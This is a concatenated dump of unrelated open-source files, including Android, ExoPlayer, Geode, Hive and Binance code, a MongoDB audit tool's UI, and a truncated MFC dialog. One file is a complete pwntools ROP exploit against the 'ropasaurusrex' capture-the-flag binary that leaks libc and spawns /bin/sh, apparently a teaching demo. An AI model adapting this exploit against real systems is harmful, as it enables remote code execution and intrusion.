// Using lib from : https://github.com/roughike/BottomBar
private BottomBar bottomBar;
private TextView textView;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
textView = (TextView) findViewById(R.id.text_view);
bottomBar = (BottomBar) findViewById(R.id.bottomBar);
bottomBar.setOnTabSelectListener(new OnTabSelectListener() {
@Override
public void onTabSelected(@IdRes int tabId) {
switch (tabId) {
case R.id.bottomBarItem1:
logData("1");
break;
case R.id.bottomBarItem2:
logData("2");
break;
case R.id.bottomBarItem3:
logData("3");
break;
case R.id.bottomBarItem4:
logData("4");
break;
}
}
});
BottomBarTab accountTab = bottomBar.getTabWithId(R.id.bottomBarItem2);
accountTab.setBadgeCount(5);
// Remove Badge when done
//accountTab.removeBadge();
bottomBar.setOnTabReselectListener(new OnTabReselectListener() {
@Override
public void onTabReSelected(@IdRes int tabId) {
switch (tabId) {
case R.id.bottomBarItem1:
logData("1 (Re)");
break;
case R.id.bottomBarItem2:
logData("2 (Re)");
break;
case R.id.bottomBarItem3:
logData("3 (Re)");
break;
case R.id.bottomBarItem4:
logData("4 (Re)");
break;
}
}
});
}
private void logData(String data) {
String msg = "Selected Tab - " + data;
textView.setText(msg);
Log.d(LOGTAG, msg);
}
}
| 1,006 |
19,920 | /*
* Copyright (C) 2016 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.android.exoplayer2.text.webvtt;
import com.google.android.exoplayer2.C;
import com.google.android.exoplayer2.text.Cue;
import com.google.android.exoplayer2.text.Subtitle;
import com.google.android.exoplayer2.util.Assertions;
import com.google.android.exoplayer2.util.Util;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
import java.util.List;
/** A representation of a WebVTT subtitle. */
/* package */ final class WebvttSubtitle implements Subtitle {
private final List<WebvttCueInfo> cueInfos;
private final long[] cueTimesUs;
private final long[] sortedCueTimesUs;
/** Constructs a new WebvttSubtitle from a list of {@link WebvttCueInfo}s. */
public WebvttSubtitle(List<WebvttCueInfo> cueInfos) {
this.cueInfos = Collections.unmodifiableList(new ArrayList<>(cueInfos));
cueTimesUs = new long[2 * cueInfos.size()];
for (int cueIndex = 0; cueIndex < cueInfos.size(); cueIndex++) {
WebvttCueInfo cueInfo = cueInfos.get(cueIndex);
int arrayIndex = cueIndex * 2;
cueTimesUs[arrayIndex] = cueInfo.startTimeUs;
cueTimesUs[arrayIndex + 1] = cueInfo.endTimeUs;
}
sortedCueTimesUs = Arrays.copyOf(cueTimesUs, cueTimesUs.length);
Arrays.sort(sortedCueTimesUs);
}
@Override
public int getNextEventTimeIndex(long timeUs) {
int index = Util.binarySearchCeil(sortedCueTimesUs, timeUs, false, false);
return index < sortedCueTimesUs.length ? index : C.INDEX_UNSET;
}
@Override
public int getEventTimeCount() {
return sortedCueTimesUs.length;
}
@Override
public long getEventTime(int index) {
Assertions.checkArgument(index >= 0);
Assertions.checkArgument(index < sortedCueTimesUs.length);
return sortedCueTimesUs[index];
}
@Override
public List<Cue> getCues(long timeUs) {
List<Cue> currentCues = new ArrayList<>();
List<WebvttCueInfo> cuesWithUnsetLine = new ArrayList<>();
for (int i = 0; i < cueInfos.size(); i++) {
if ((cueTimesUs[i * 2] <= timeUs) && (timeUs < cueTimesUs[i * 2 + 1])) {
WebvttCueInfo cueInfo = cueInfos.get(i);
if (cueInfo.cue.line == Cue.DIMEN_UNSET) {
cuesWithUnsetLine.add(cueInfo);
} else {
currentCues.add(cueInfo.cue);
}
}
}
// Steps 4 - 10 of https://www.w3.org/TR/webvtt1/#cue-computed-line
// (steps 1 - 3 are handled by WebvttCueParser#computeLine(float, int))
Collections.sort(cuesWithUnsetLine, (c1, c2) -> Long.compare(c1.startTimeUs, c2.startTimeUs));
for (int i = 0; i < cuesWithUnsetLine.size(); i++) {
Cue cue = cuesWithUnsetLine.get(i).cue;
currentCues.add(cue.buildUpon().setLine((float) (-1 - i), Cue.LINE_TYPE_NUMBER).build());
}
return currentCues;
}
}
| 1,256 |
463 | <reponame>elgalu/labml
from pathlib import PurePath
from typing import Dict, Optional
def new_run(python_file: PurePath, *,
configs: Optional[Dict[str, any]] = None,
comment: Optional[str] = None):
r"""
This starts a new experiment by running ``main`` function defined in ``python_file``.
Arguments:
python_file (PurePath): path of the Python script
Keyword Arguments:
configs (Dict[str, any], optional): a dictionary of configurations
comment (str, optional): comment to identify the experiment
"""
from labml.internal.manage.process import new_run as _new_run
_new_run(python_file, configs=configs, comment=comment)
def new_run_process(python_file: PurePath, *,
configs: Optional[Dict[str, any]] = None,
comment: Optional[str] = None):
r"""
This starts a new experiment in a separate process by running ``main`` function defined in ``python_file``.
Arguments:
python_file (PurePath): path of the Python script
Keyword Arguments:
configs (Dict[str, any], optional): a dictionary of configurations
comment (str, optional): comment to identify the experiment
"""
from labml.internal.manage.process import new_run_process as _new_run_process
_new_run_process(python_file, configs=configs, comment=comment)
| 501 |
1,475 | <reponame>mhansonp/geode
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.geode.management.internal.configuration.mutators;
import java.util.List;
import java.util.stream.Collectors;
import org.apache.commons.lang3.StringUtils;
import org.apache.geode.cache.configuration.CacheConfig;
import org.apache.geode.cache.configuration.DiskStoreType;
import org.apache.geode.distributed.ConfigurationPersistenceService;
import org.apache.geode.management.configuration.DiskStore;
import org.apache.geode.management.internal.configuration.converters.DiskStoreConverter;
public class DiskStoreManager extends CacheConfigurationManager<DiskStore> {
private final DiskStoreConverter diskStoreConverter = new DiskStoreConverter();
public DiskStoreManager(ConfigurationPersistenceService service) {
super(service);
}
@Override
public void add(DiskStore config, CacheConfig existing) {
List<DiskStoreType> diskStoreTypes = existing.getDiskStores();
if (diskStoreTypes.stream().noneMatch(diskStoreType -> diskStoreType.getName()
.equals(config.getName()))) {
diskStoreTypes.add(diskStoreConverter.fromConfigObject(config));
}
}
@Override
public void update(DiskStore config, CacheConfig existing) {
throw new IllegalStateException("Not implemented");
}
@Override
public void delete(DiskStore config, CacheConfig existing) {
existing.getDiskStores().stream()
.filter(diskStoreType -> config.getName().equals(diskStoreType.getName())).findFirst()
.ifPresent(diskStore -> existing.getDiskStores().remove(diskStore));
}
@Override
public List<DiskStore> list(DiskStore filterConfig, CacheConfig existing) {
return existing.getDiskStores().stream()
.filter(diskStoreType -> StringUtils.isEmpty(filterConfig.getName())
|| filterConfig.getName().equals(diskStoreType.getName()))
.map(diskStoreConverter::fromXmlObject).collect(Collectors.toList());
}
@Override
public DiskStore get(DiskStore config, CacheConfig existing) {
return existing.getDiskStores().stream()
.filter(diskStoreType -> diskStoreType.getName().equals(config.getName())).map(
diskStoreConverter::fromXmlObject)
.findFirst().orElse(null);
}
}
| 908 |
456 | <gh_stars>100-1000
#!/usr/bin/env python2
from pwn import *
binary = './ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d'
# Demo should work even without a HOST
if 'HOST' in args:
r = remote(args['HOST'], int(args['PORT']))
else:
r = process(binary)
# If we run with a cyclic pattern, we end up with the following state:
#
# $ cyclic 999 > input
# $ gdb ./ropasaurusrex
# $ run < input
# ...
# EBP: 0x6261616a (b'jaab')
# ESP: 0xffffc7e0 ("laabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n\310\377\377\030\226\004\b\030\202\004\b")
# EIP: 0x6261616b (b'kaab')
#
# Let's generate a bit of padding to get us up to the edge of EIP control.
padding = cyclic(cyclic_find('kaab'))
# Load the elf file
rex = ELF(binary)
# Our goal from here is to dynamically resolve the address for system
# to do this, we migrate between two ROP chains in the .bss section
addrs = [rex.bss(0x200), rex.bss(0x300)]
cur_addr = addrs[0]
# Read in the first rop at cur_addr and migrate to it
rop = ROP(rex)
rop.read(0, cur_addr, 0x100)
rop.migrate(cur_addr)
log.info("Stage 1 Rop:\n%s" % (rop.dump()))
r.send(padding + str(rop))
# Now we create a memleaker, so we can use DynELF
@MemLeak
def leak(addr, length = 0x100):
global cur_addr
rop = ROP(rex, base=cur_addr)
cur_addr = addrs[1] if cur_addr == addrs[0] else addrs[0]
rop.write(1, addr, length)
rop.read(0, cur_addr, 0x100)
rop.migrate(cur_addr)
r.send(str(rop))
data = r.recvn(length)
log.debug("Leaked %#x\n%s" % (addr, hexdump(data)))
return data
# Use the memleaker to resolve system from libc
resolver = DynELF(leak, elf=rex)
libc = resolver.libc()
# Call system('/bin/sh')
if libc:
rop = ROP([rex, libc], base=cur_addr)
rop.system('/bin/sh')
else:
system = resolver.lookup('system', 'libc')
rop = ROP([rex], base=cur_addr)
rop.call(system, ['/bin/sh'])
log.info("Stage 2 Rop:\n%s" % (rop.dump()))
# Send the rop and win
r.send(str(rop))
r.interactive()
| 863 |
4,140 | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.hadoop.hive.ql.udf;
import java.lang.reflect.Method;
import java.util.List;
import org.apache.hadoop.hive.conf.HiveConf.ConfVars;
import org.apache.hadoop.hive.ql.exec.UDF;
import org.apache.hadoop.hive.ql.exec.UDFArgumentException;
import org.apache.hadoop.hive.ql.exec.UDFMethodResolver;
import org.apache.hadoop.hive.ql.session.SessionState;
import org.apache.hadoop.hive.serde2.objectinspector.PrimitiveObjectInspector.PrimitiveCategory;
import org.apache.hadoop.hive.serde2.objectinspector.primitive.PrimitiveObjectInspectorUtils;
import org.apache.hadoop.hive.serde2.objectinspector.primitive.PrimitiveObjectInspectorUtils.PrimitiveGrouping;
import org.apache.hadoop.hive.serde2.typeinfo.PrimitiveTypeInfo;
import org.apache.hadoop.hive.serde2.typeinfo.TypeInfo;
/**
* Restricts casting timestamp/date types to numeric values.
*
* This Resolver is used in {@link UDF} implementations to enforce strict conversion rules.
*/
public class TimestampCastRestrictorResolver implements UDFMethodResolver {
private UDFMethodResolver parentResolver;
private boolean strictTsConversion;
public TimestampCastRestrictorResolver(UDFMethodResolver parentResolver) {
this.parentResolver = parentResolver;
SessionState ss = SessionState.get();
if (ss != null && ss.getConf().getBoolVar(ConfVars.HIVE_STRICT_TIMESTAMP_CONVERSION)) {
strictTsConversion = true;
}
}
@Override
public Method getEvalMethod(List<TypeInfo> argClasses) throws UDFArgumentException {
if (strictTsConversion) {
TypeInfo arg = argClasses.get(0);
if (arg instanceof PrimitiveTypeInfo) {
PrimitiveTypeInfo primitiveTypeInfo = (PrimitiveTypeInfo) arg;
PrimitiveCategory category = primitiveTypeInfo.getPrimitiveCategory();
PrimitiveGrouping group = PrimitiveObjectInspectorUtils.getPrimitiveGrouping(category);
if (group == PrimitiveGrouping.DATE_GROUP) {
throw new UDFArgumentException(
"Casting DATE/TIMESTAMP types to NUMERIC is prohibited (" + ConfVars.HIVE_STRICT_TIMESTAMP_CONVERSION
+ ")");
}
}
}
return parentResolver.getEvalMethod(argClasses);
}
}
| 998 |
879 | <reponame>qianfei11/zstack
package org.zstack.header.vm;
import org.zstack.header.core.Completion;
public interface ReleaseNetworkServiceOnDeletingNicExtensionPoint {
void releaseNetworkServiceOnDeletingNic(VmNicInventory nic, Completion completion);
}
| 90 |
816 | <gh_stars>100-1000
package com.binance.api.client.domain;
import com.fasterxml.jackson.annotation.JsonIgnoreProperties;
/**
* Order execution type.
*/
@JsonIgnoreProperties(ignoreUnknown = true)
public enum ExecutionType {
NEW,
CANCELED,
REPLACED,
REJECTED,
TRADE,
EXPIRED
} | 123 |
440 | /**
* Description: Bitmask (Support set, unset and get bit operation)
* Usage: set O(1), unset O(1), get O(1)
* Source: https://github.com/dragonslayerx
*/
class Bitmask {
int mask;
public:
Bitmask() {
mask = 0;
}
void set(int i) {
mask |= (1 << i);
}
void unset(int i) {
mask &= ~(1 << i);
}
int get(int i) {
return (mask & (1 << i));
}
const int operator [](int i) {
return get(i);
}
};
| 184 |
1,319 | <gh_stars>1000+
# -*- coding: utf-8 -*-
import urwid
import math
from .picmagic import read as picRead
from .testers.testers import Tester
from .tools import validate_uri, send_result, load_test, validate_email
from .widgets import TestRunner, Card, TextButton, ImageButton, \
DIV, FormCard, LineButton, DisplayTest
from functools import reduce
class Cards(object):
def __init__(self, app):
self.app = app
self.tests = load_test('tests.json')
def welcome(self):
pic = picRead('welcome.bmp', align='right')
text = urwid.Text([
('text bold', self.app.name),
('text', ' is a CLI tool for auditing MongoDB servers, detecting poor security '
'settings and performing automated penetration testing.\n\n'),
('text italic', "\"With great power comes great responsibility\". Unauthorized "
"access to strangers' computer systems is a crime "
"in many countries. Take care.")
])
button = urwid.AttrMap(
TextButton(
"Ok, I'll be careful!", on_press=self.choose_test), 'button')
card = Card(text, header=pic, footer=button)
self.app.render(card)
def choose_test(self, *_):
txt = urwid.Text(
[('text bold',
self.app.name),
' provides two distinct test suites covering security in different '
'depth. Please choose which one you want to run:'])
basic = ImageButton(
picRead('bars_min.bmp'),
[('text bold', 'Basic'),
('text', 'Analyze server perimeter security. (Does not require '
'valid authentication credentials, just the URI)')])
advanced = ImageButton(
picRead('bars_max.bmp'),
[('text bold', 'Advanced'),
('text', 'Authenticate to a MongoDB server and analyze security '
'from inside. (Requires valid credentials)')])
content = urwid.Pile([txt, DIV, basic, advanced])
basic_args = {
'title': 'Basic',
'label': 'This test suite will only check if your server implements all the '
'basic perimeter security measures advisable for production databases. '
'For a more thorough analysis, please run the advanced test suite.\n\n'
'Please enter the URI of your MongoDB server',
'uri_example': 'domain.tld:port',
'tests': self.tests['basic']}
urwid.connect_signal(
basic, 'click', lambda _: self.uri_prompt(**basic_args))
advanced_args = {
'title': 'Advanced',
'label': 'This test suite authenticates to your server using valid credentials '
'and analyzes the security of your deployment from inside.\n\n'
'We recommend to use the same credentials as you use for your app.\n'
'Please enter your MongoDB URI in this format:',
'uri_example': 'mongodb://user:[email protected]:port/database',
'tests': self.tests['basic'] + self.tests['advanced']}
urwid.connect_signal(
advanced, 'click', lambda _: self.uri_prompt(**advanced_args))
card = Card(content)
self.app.render(card)
def uri_prompt(self, title, label, uri_example, tests):
"""
Args:
title (str): Title for the test page
label (str): label for the input field
uri_example (str): example of a valid URI
tests (Test[]): test to pass as argument to run_test
"""
intro = urwid.Pile([
urwid.Text(('text bold', title + ' test suite')),
DIV,
urwid.Text([label + ' (', ('text italic', uri_example), ')'])
])
def _next(form, uri):
form.set_message("validating URI")
cred = validate_uri(uri)
if cred:
form.set_message("Checking MongoDB connection...")
tester = Tester(cred, tests)
if tester.info:
self.run_test(cred, title, tester, tests)
else:
form.set_message("Couldn't find a MongoDB server", True)
else:
form.set_message("Invalid domain", True)
form = FormCard(
{"content": intro, "app": self.app}, ['URI'],
'Run ' + title.lower() + ' test suite',
{'next': _next, 'back': self.choose_test})
self.app.render(form)
def run_test(self, cred, title, tester, tests):
"""
Args:
cred (dict(str: str)): credentials
title (str): title for the TestRunner
tests (Test[]): test to run
"""
test_runner = TestRunner(title, cred, tests,
{"tester":tester, "callback": self.display_overview})
# the name of the bmp is composed with the title
pic = picRead('check_' + title.lower() + '.bmp', align='right')
footer = self.get_footer('Cancel', self.choose_test)
card = Card(test_runner, header=pic, footer=footer)
self.app.render(card)
test_runner.run(self.app)
def display_overview(self, result, title, urn):
"""
Args:
result (dict()): the result returned by test_runner
"""
def reduce_result(res, values):
return reduce_result(res % values[-1], values[:-1]) + [res / values[-1]] \
if bool(values) else []
# range 4 because the possible values for result are [False, True,
# 'custom', 'omitted']
values = [(len(result) + 1) ** x for x in range(4)]
total = reduce(lambda x, y: x + values[y['result']], result, 0)
header = urwid.Text(('text bold', 'Results overview'))
subtitle = urwid.Text(
('text', 'Finished running ' + str(len(result)) + " tests:"))
overview = reduce_result(total, values)
overview = urwid.Text([
('passed', str(int(math.floor(overview[1])))), ('text', ' passed '),
('failed', str(int(math.floor(overview[0])))), ('text', ' failed '),
('warning', str(int(math.floor(overview[2])))), ('text', ' warning '),
('info', str(int(math.floor(overview[3])))), ('text', ' omitted')])
footer = urwid.AttrMap(
TextButton(
'< Back to main menu',
align='left',
on_press=self.choose_test),
'button')
results_button = LineButton([('text', '> View brief results summary')])
email_button = LineButton([('text', '> Email me the detailed results report')])
urwid.connect_signal(
results_button,
'click',
lambda _: self.display_test_result(result, title, urn))
urwid.connect_signal(
email_button, 'click', lambda _: self.email_prompt(result, title, urn))
card = Card(urwid.Pile([header, subtitle, overview, DIV,
results_button, email_button]), footer=footer)
self.app.render(card)
def display_test_result(self, result, title, urn):
display_test = DisplayTest(result)
footer = self.get_footer('< Back to results overview',
lambda _: self.display_overview(result, title, urn))
card = Card(display_test, footer=footer)
self.app.render(card)
def email_prompt(self, result, title, urn):
header = urwid.Text(('text bold', 'Send detailed results report via email'))
subtitle = urwid.Text([
('text', 'The email report contains detailed results of each of the runned tests, '
'as well as links to guides on how to fix the found issues.\n\n'),
('text italic', 'You will be included into a MongoDB critical security bugs '
'newsletter. We will never SPAM you, we promise!')
])
content = urwid.Pile([header, DIV, subtitle])
card = FormCard(
{"content": content, "app": self.app},
['Email'],
'Send report',
{
'next': lambda form, email: self.send_email(email.strip(), result, title, urn) \
if validate_email(email) else form.set_message("Invalid email address", True),
'back': lambda _: self.display_overview(result, title, urn)
})
self.app.render(card)
def send_email(self, email, result, title, urn):
email_result = [{"name": val["name"], "value": val["result"],
"data": val["extra_data"]} for val in result]
response = send_result(email, email_result, title, urn)
header = urwid.Text(('text bold', 'Send detailed results report via email'))
subtitle = urwid.Text(
('text', response))
content = urwid.Pile([header, DIV, subtitle])
footer = self.get_footer('< Back to results overview',
lambda _: self.display_overview(result, title, urn))
card = Card(content, footer=footer)
self.app.render(card)
@staticmethod
def get_footer(text, callback):
return urwid.AttrMap(
TextButton(
text,
align='left',
on_press=(callback)),
'button')
| 4,359 |
5,169 | {
"name": "TencentOpenSDK",
"version": "3.3.3",
"summary": "Tencent QQ Open SDK 3.3.3 version",
"homepage": "https://open.tencent.com",
"license": "MIT",
"authors": {
"Tencent": "https://open.tencent.com"
},
"platforms": {
"ios": null
},
"source": {
"git": "https://github.com/XFNicar/TencentOpenSDK.git",
"tag": "3.3.3"
},
"frameworks": [
"Security",
"SystemConfiguration",
"CoreGraphics",
"CoreTelephony"
],
"libraries": [
"iconv",
"sqlite3",
"c++",
"z"
],
"requires_arc": true,
"ios": {
"vendored_frameworks": "Frameworks/TencentOpenAPI.framework"
}
}
| 290 |
2,023 | <reponame>tdiprima/code
# This code was taken and modified from <NAME>'s
# "determine the name of the calling function" recipe (Thanks, Alex!)
#
# This code also benefits from a useful enhancement from <NAME>, allowing
# only the arguments to __init__ to be copied, if that is desired.
#
# use sys._getframe() -- it returns a frame object, whose attribute
# f_locals is the list of local variables. Before any processing goes on,
# will be the list of parameters passed in.
import sys
# By calling sys._getframe(1), you can get this information
# for the *caller* of the current function. So you can package
# this functionality up into your own handy functions:
def initFromArgs(beingInitted, bJustArgs=False):
import sys
codeObject = beingInitted.__class__.__init__.im_func.func_code
for k,v in sys._getframe(1).f_locals.items():
if k!='self' and ((not bJustArgs) or k in codeObject.co_varnames[1:codeObject.co_argcount]):
setattr(beingInitted,k,v)
class Animal:
def __init__(self,name='Dog',numberOfLegs=4,habitat='Temperate'):
# any local variables added here will be assigned to the object
# as if they were parameters
if name in ('Dog','Cat'):
pet=True
initFromArgs(self)
# modify things here
if __name__ == '__main__':
dog=Animal()
octopus = Animal('Octopus',8,'Aquatic')
print [i.__dict__.items() for i in (dog,octopus)]
| 516 |
12,718 | <reponame>aruniiird/zig
/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
/*
* User API definitions for paravirtual devices on s390
*
* Copyright IBM Corp. 2008
*
* Author(s): <NAME> <<EMAIL>>
*/ | 78 |
1,475 | /*
* Licensed to the Apache Software Foundation (ASF) under one or more contributor license
* agreements. See the NOTICE file distributed with this work for additional information regarding
* copyright ownership. The ASF licenses this file to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance with the License. You may obtain a
* copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed under the License
* is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
* or implied. See the License for the specific language governing permissions and limitations under
* the License.
*/
package org.apache.geode.cache.lucene.internal.xml;
import static org.apache.geode.cache.lucene.internal.xml.LuceneXmlConstants.ANALYZER;
import static org.apache.geode.cache.lucene.internal.xml.LuceneXmlConstants.FIELD;
import static org.apache.geode.cache.lucene.internal.xml.LuceneXmlConstants.INDEX;
import static org.apache.geode.cache.lucene.internal.xml.LuceneXmlConstants.NAME;
import static org.apache.geode.cache.lucene.internal.xml.LuceneXmlConstants.NAMESPACE;
import static org.apache.geode.cache.lucene.internal.xml.LuceneXmlConstants.SERIALIZER;
import org.apache.lucene.analysis.Analyzer;
import org.xml.sax.Attributes;
import org.xml.sax.SAXException;
import org.apache.geode.cache.CacheXmlException;
import org.apache.geode.cache.Declarable;
import org.apache.geode.cache.lucene.LuceneSerializer;
import org.apache.geode.internal.InternalDataSerializer;
import org.apache.geode.internal.cache.xmlcache.AbstractXmlParser;
import org.apache.geode.internal.cache.xmlcache.CacheCreation;
import org.apache.geode.internal.cache.xmlcache.CacheXmlParser;
import org.apache.geode.internal.cache.xmlcache.RegionCreation;
public class LuceneXmlParser extends AbstractXmlParser {
private CacheCreation cache;
@Override
public String getNamespaceUri() {
return NAMESPACE;
}
@Override
public void startElement(String uri, String localName, String qName, Attributes atts)
throws SAXException {
if (!NAMESPACE.equals(uri)) {
return;
}
if (INDEX.equals(localName)) {
startIndex(atts);
}
if (FIELD.equals(localName)) {
startField(atts);
}
if (SERIALIZER.equals(localName)) {
startSerializer(atts);
}
}
private void startSerializer(Attributes atts) {
// Ignore any whitespace noise between fields
if (stack.peek() instanceof StringBuffer) {
stack.pop();
}
if (!(stack.peek() instanceof LuceneIndexCreation)) {
throw new CacheXmlException(
"lucene <serializer> elements must occur within lucene <index> elements");
}
LuceneIndexCreation creation = (LuceneIndexCreation) stack.peek();
}
private void startField(Attributes atts) {
// Ignore any whitespace noise between fields
if (stack.peek() instanceof StringBuffer) {
stack.pop();
}
if (!(stack.peek() instanceof LuceneIndexCreation)) {
throw new CacheXmlException(
"lucene <field> elements must occur within lucene <index> elements");
}
LuceneIndexCreation creation = (LuceneIndexCreation) stack.peek();
String name = atts.getValue(NAME);
String className = atts.getValue(ANALYZER);
if (className == null) {
creation.addField(name);
} else {
Analyzer analyzer = createAnalyzer(className);
creation.addFieldAndAnalyzer(name, analyzer);
}
}
private void startIndex(Attributes atts) {
if (!(stack.peek() instanceof RegionCreation)) {
throw new CacheXmlException("lucene <index> elements must occur within <region> elements");
}
final RegionCreation region = (RegionCreation) stack.peek();
String name = atts.getValue(NAME);
LuceneIndexCreation indexCreation = new LuceneIndexCreation();
indexCreation.setName(name);
indexCreation.setRegion(region);
region.getExtensionPoint().addExtension(indexCreation);
stack.push(indexCreation);
cache = (CacheCreation) region.getCache();
}
@Override
public void endElement(String uri, String localName, String qName) throws SAXException {
if (!NAMESPACE.equals(uri)) {
return;
}
if (INDEX.equals(localName)) {
endIndex();
}
if (SERIALIZER.equals(localName)) {
endSerializer();
}
}
private void endIndex() {
// Ignore any whitespace noise between fields
if (stack.peek() instanceof StringBuffer) {
stack.pop();
}
// Remove the index creation from the stack
stack.pop();
}
private void endSerializer() {
Declarable d = CacheXmlParser.createDeclarable(cache, stack);
if (!(d instanceof LuceneSerializer)) {
throw new CacheXmlException(
d.getClass().getName() + " is not an instance of LuceneSerializer");
}
LuceneIndexCreation indexCreation = (LuceneIndexCreation) stack.peek();
indexCreation.setLuceneSerializer((LuceneSerializer) d);
}
private Analyzer createAnalyzer(String className) {
Object obj;
try {
Class c = InternalDataSerializer.getCachedClass(className);
obj = c.newInstance();
} catch (Exception ex) {
throw new CacheXmlException(
String.format("While instantiating a %s", className), ex);
}
if (!(obj instanceof Analyzer)) {
throw new CacheXmlException(
String.format("Class %s is not an instance of Analyzer.",
className));
}
return (Analyzer) obj;
}
}
| 1,953 |
1,588 | package xyz.erupt.annotation.config;
/**
* @author YuePeng
* date 2019-05-24.
*/
public enum JavaTypeEnum {
any,
String,
number,
date,
object,
bool,
not_know,
}
| 88 |
2,707 | <reponame>ronaldocan/jetlinks-community
package org.jetlinks.community.dashboard.supports;
import org.jetlinks.community.dashboard.Measurement;
import org.jetlinks.community.dashboard.MeasurementDefinition;
import org.jetlinks.community.dashboard.MeasurementDimension;
import org.springframework.util.Assert;
import reactor.core.publisher.Flux;
import reactor.core.publisher.Mono;
import java.util.List;
class CompositeMeasurement implements Measurement {
private List<Measurement> measurements;
private Measurement main;
public CompositeMeasurement(List<Measurement> measurements) {
Assert.notEmpty(measurements, "measurements can not be empty");
this.measurements = measurements;
this.main = measurements.get(0);
}
@Override
public MeasurementDefinition getDefinition() {
return main.getDefinition();
}
@Override
public Flux<MeasurementDimension> getDimensions() {
return Flux.fromIterable(measurements)
.flatMap(Measurement::getDimensions);
}
@Override
public Mono<MeasurementDimension> getDimension(String id) {
return Flux.fromIterable(measurements)
.flatMap(measurement -> measurement.getDimension(id))
.next();
}
}
| 444 |
307 | /*
* Copyright (C) Volition, Inc. 1999. All rights reserved.
*
* All source code herein is the property of Volition, Inc. You may not sell
* or otherwise commercially exploit the source or things you created based on the
* source.
*
*/
#include "stdafx.h"
#include "FRED.h"
#include "ShipClassEditorDlg.h"
#ifdef _DEBUG
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// CShipClassEditorDlg dialog
CShipClassEditorDlg::CShipClassEditorDlg(CWnd* pParent /*=NULL*/)
: CDialog(CShipClassEditorDlg::IDD, pParent)
{
//{{AFX_DATA_INIT(CShipClassEditorDlg)
m_ShipClassAfterburner = FALSE;
m_ShipClassAIClass = -1;
m_ShipClassArmor = _T("");
m_ShipClassCloak = FALSE;
m_ShipClassDebrisModel = -1;
m_ShipClassModel = -1;
m_ShipClassEngine = _T("");
m_ShipClassExplosion1 = _T("");
m_ShipClassExplosion2 = _T("");
m_ShipClassIFF = _T("");
m_ShipClassManufacturer = _T("");
m_ShipClassMaxBank = 0;
m_ShipClassMaxPitch = 0;
m_ShipClassMaxRoll = 0;
m_ShipClassMaxSpeed = 0;
m_ShipClassName = _T("");
m_ShipClassPowerPlant = _T("");
m_ShipClassScore = 0;
m_ShipClassShields = 0;
m_ShipClassWarpdrive = FALSE;
m_ShipClassTurretWeapon1 = _T("");
m_ShipClassTurretWeapon2 = _T("");
m_ShipClassWeaponSpecial = _T("");
m_ShipClassWeapon1 = _T("");
m_ShipClassWeapon2 = _T("");
//}}AFX_DATA_INIT
}
void CShipClassEditorDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CShipClassEditorDlg)
DDX_Control(pDX, IDC_SOUNDS, m_SoundsEditor);
DDX_Control(pDX, IDC_SCLASS_WINDOW, m_ShipClassWindow);
DDX_Control(pDX, IDC_SCLASS_NEW, m_ShipClassNew);
DDX_Control(pDX, IDC_SCLASS_DELETE, m_ShipClassDelete);
DDX_Control(pDX, IDC_MODELS, m_ModelsEditor);
DDX_Control(pDX, IDC_GOALS, m_GoalsEditor);
DDX_Check(pDX, IDC_SCLASS_AFTERBURNER, m_ShipClassAfterburner);
DDX_CBIndex(pDX, IDC_SCLASS_AI_CLASS, m_ShipClassAIClass);
DDX_CBString(pDX, IDC_SCLASS_ARMOR, m_ShipClassArmor);
DDX_Check(pDX, IDC_SCLASS_CLOAK, m_ShipClassCloak);
DDX_CBIndex(pDX, IDC_SCLASS_DEBRIS_MODEL, m_ShipClassDebrisModel);
DDX_CBIndex(pDX, IDC_SCLASS_3D_OBJECT, m_ShipClassModel);
DDX_Text(pDX, IDC_SCLASS_ENGINES, m_ShipClassEngine);
DDX_CBString(pDX, IDC_SCLASS_EXPLOSION1, m_ShipClassExplosion1);
DDX_CBString(pDX, IDC_SCLASS_EXPLOSION2, m_ShipClassExplosion2);
DDX_CBString(pDX, IDC_SCLASS_IFF, m_ShipClassIFF);
DDX_Text(pDX, IDC_SCLASS_MANUFACTURER, m_ShipClassManufacturer);
DDX_Text(pDX, IDC_SCLASS_MAX_BANK, m_ShipClassMaxBank);
DDX_Text(pDX, IDC_SCLASS_MAX_PITCH, m_ShipClassMaxPitch);
DDX_Text(pDX, IDC_SCLASS_MAX_ROLL, m_ShipClassMaxRoll);
